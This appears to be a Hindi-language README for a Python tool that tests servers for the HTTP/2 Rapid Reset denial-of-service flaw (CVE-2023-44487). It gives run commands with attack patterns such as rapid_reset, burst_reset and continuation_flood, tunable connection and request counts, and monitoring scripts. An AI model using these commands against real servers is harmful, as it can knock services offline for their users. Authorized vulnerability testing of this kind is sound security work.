
CVE-2023-44487 (HTTP/2 Rapid Reset) के लिए Python-आधारित परीक्षण उपकरण, जिसमें कई हमले के पैटर्न, विस्तृत कॉन्फ़िगरेशन और अधिकृत सुरक्षा मूल्यांकन के लिए निगरानी शामिल है।
CVE-2023-44487, HTTP/2 Rapid Reset भेद्यता के लिए एक व्यापक Python परीक्षण उपकरण। यह उन्नत संस्करण परीक्षण मापदंडों पर सूक्ष्म नियंत्रण, कई हमले पैटर्न और उन्नत निगरानी क्षमताएं प्रदान करता है।
यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है!
CVE-2023-44487, जिसे "HTTP/2 Rapid Reset" के रूप में भी जाना जाता है, HTTP/2 प्रोटोकॉल में एक गंभीर भेद्यता है जो हमलावरों को अनुमति देती है:
CVSS स्कोर: 7.5 (उच्च)
प्रभाव: Denial of Service, संसाधन क्षरण
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 3.7+ होना चाहिए
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-c, --connections N | समवर्ती कनेक्शन की संख्या | 1 |
--connection-timeout SEC | सेकंड में कनेक्शन टाइमआउट | 10 |
--read-timeout SEC | प्रतिक्रियाओं के लिए रीड टाइमआउट | 5 |
--connection-delay SEC | कनेक्शन के बीच विलंब | 0.0 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-r, --requests N | प्रति कनेक्शन अनुरोध | 100 |
--delay SEC | HEADERS और RST_STREAM के बीच विलंब | 0.001 |
--request-delay SEC | अनुरोधों के बीच विलंब | 0.0 |
--jitter FACTOR | समय यादृच्छिकरण कारक | 0.0 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--pattern TYPE | उपयोग करने के लिए हमले का पैटर्न | rapid_reset |
--burst-size N | प्रति बर्स्ट अनुरोध | 10 |
--burst-delay SEC | बर्स्ट के बीच विलंब | 0.1 |
उपलब्ध पैटर्न:
rapid_reset - मानक rapid reset हमलाburst_reset - बर्स्ट-आधारित हमलेgradual_reset - धीरे-धीरे बढ़ती दरrandom_reset - यादृच्छिक समयcontinuation_flood - CONTINUATION फ्रेम बाढ़mixed_pattern - पैटर्न का मिश्रण| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--window-size BYTES | HTTP/2 प्रारंभिक विंडो आकार | 65535 |
--frame-size BYTES | अधिकतम फ्रेम आकार | 16384 |
--header-table-size BYTES | HPACK हेडर तालिका आकार | 4096 |
--enable-push | HTTP/2 सर्वर पुश सक्षम करें | False |
--rst-error-code CODE | RST_STREAM त्रुटि कोड | 8 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--custom-headers HEADER | कस्टम हेडर (नाम: मान) | None |
--random-headers | यादृच्छिक हेडर उत्पन्न करें | False |
--header-count N | यादृच्छिक हेडर की संख्या | 5 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--randomize-streams | यादृच्छिक स्ट्रीम ID का उपयोग करें | False |
--priority-frames | प्राथमिकता जानकारी शामिल करें | False |
--continue-on-error | त्रुटियों के बाद जारी रखें | True |
--max-errors N | रोकने से पहले अधिकतम त्रुटियां | 10 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--track-latency | अनुरोध विलंबता ट्रैक करें | False |
--track-responses | सर्वर प्रतिक्रियाएं ट्रैक करें | False |
--monitor-memory | मेमोरी उपयोग की निगरानी करें | False |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--output FORMAT | आउटपुट प्रारूप | console |
--output-file FILE | आउटपुट फ़ाइल नाम | auto-generated |
--verbose, -v | विस्तृत आउटपुट | False |
--debug | डीबग लॉगिंग | False |
--log-file FILE | फ़ाइल में लॉग करें | None |
उपलब्ध आउटपुट प्रारूप:
console - मानव-पठनीय कंसोल आउटपुटjson - मशीन-पठनीय JSONcsv - स्प्रेडशीट-संगत CSVxml - संरचित XML प्रारूपयह उपकरण व्यापक परिणाम प्रदान करता है जिनमें शामिल हैं:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
यह उपकरण स्वचालित रूप से भेद्यता का आकलन करता है:
यदि आपका सर्वर भेद्य पाया जाता है, तो इन शमन उपायों को लागू करें:
import subprocess
import json
# स्वचालित परीक्षण चलाएं
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# परिणामों का विश्लेषण करें
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")
#!/bin/bash
# क्रॉन जॉब: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# भेद्यता का पता चलने पर अलर्ट करें
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# CSV परिणाम लोड और विश्लेषण करें
df = pd.read_csv('results.csv')
# कनेक्शन द्वारा हमले की सफलता को विज़ुअलाइज़ करें
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()
कनेक्शन अस्वीकृत:
SSL/TLS त्रुटियां:
--debug का उपयोग करेंकम सफलता दरें:
प्रदर्शन समस्याएं:
--debug और --log-file का उपयोग करें--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyयह उपकरण MIT लाइसेंस के तहत प्रदान किया गया है। विवरण के लिए LICENSE फ़ाइल देखें।
यह उपकरण साइबर सुरक्षा पेशेवरों, शोधकर्ताओं और सिस्टम प्रशासकों के लिए अपनी स्वयं की प्रणालियों या उन प्रणालियों का परीक्षण करने के लिए है जिनके परीक्षण के लिए उनके पास स्पष्ट अनुमति है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
मुख्य कानूनी बिंदु:
याद रखें: महान शक्ति के साथ महान जिम्मेदारी आती है। इस उपकरण का नैतिक और कानूनी रूप से उपयोग करें।
उन्नत संस्करण बुनियादी संस्करण के साथ पिछड़ी संगतता बनाए रखता है। सभी मौजूदा कमांड लाइन विकल्प काम करते रहते हैं, नए विकल्प अतिरिक्त क्षमताएं प्रदान करते हैं।
बुनियादी संस्करण से अपग्रेड करने वाले उपयोगकर्ताओं के लिए:
# पुराना बुनियादी उपयोग अभी भी काम करता है
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# अतिरिक्त विकल्पों के साथ नया उन्नत उपयोग
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json